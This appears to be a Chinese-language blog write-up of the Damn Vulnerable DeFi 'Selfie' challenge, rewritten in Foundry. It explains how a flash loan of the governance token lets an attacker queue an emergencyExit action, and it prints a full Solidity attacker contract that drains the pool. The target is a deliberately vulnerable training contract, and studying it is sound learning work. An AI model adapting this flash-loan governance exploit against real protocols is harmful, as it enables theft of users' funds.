挑戰 #6 - 自拍照#
為了學習 solidity 和 foundry 系統,我使用 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題,歡迎交流和共建~🎉
合約#
- SimpleGovernance:治理代幣合約,實現 ISimpleGovernance 介面,可以預先設定 action,在兩天後可以執行此 action
- SelfiePool:實現 IERC3156FlashLender,提供閃電貸款,包括 ERC20Snapshot 和 SimpleGovernance 兩種 token
測試#
- 部署 DamnValuableTokenSnapshot,SimpleGovernance 合約
- 部署 SelfiePool 合約,向 pool 中轉入 token,數目為 TOKENS_IN_POOL
- 對 token 執行一次快照,當前 pool 中餘額和最大供閃電貸款額度均為 TOKENS_IN_POOL
- 執行攻擊腳本
- 期望 player 帳戶 token 餘額為 TOKENS_IN_POOL,pool 帳戶 token 餘額為 0
解題#
本題的目的就是取走 pool 中的全部 token,在 pool 合約中有emergencyExit
函數
可以看到,只要滿足onlyGovernance
條件,即可轉走當前合約內的任意數目 token
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
onlyGovernance
要求調用方必須是SimpleGovernance
合約,我們又知道在SimpleGovernance
合約中提供了設定 action 和執行 action 的方法,在設定 action 的參數中就包括了 target 和 calldata 這樣的合約調用參數
因此完整的調用流程如下所示:
首先通過調用攻擊合約,實施閃電貸獲得 goveranceToken,再去 SimpleGoverance 中記錄一個 action,填入的目標方法就是調用 pool 的 emergencyExit
待兩天後,通過主動執行 action 來轉移出 pool 的全部 token
代碼如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract SelfiePoolAttacker is IERC3156FlashBorrower{
SelfiePool pool;
SimpleGovernance governance;
DamnValuableTokenSnapshot token;
address owner;
uint256 actionId;
constructor(address _pool, address _governance, address _token){
owner = msg.sender;
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = DamnValuableTokenSnapshot(_token);
}
function attack(uint256 amount) public {
// call flashloan
pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
}
function onFlashLoan(
address initiator,
address _token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
// queue action
token.snapshot();
actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
token.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function executeAction() public{
governance.executeAction(actionId);
}
}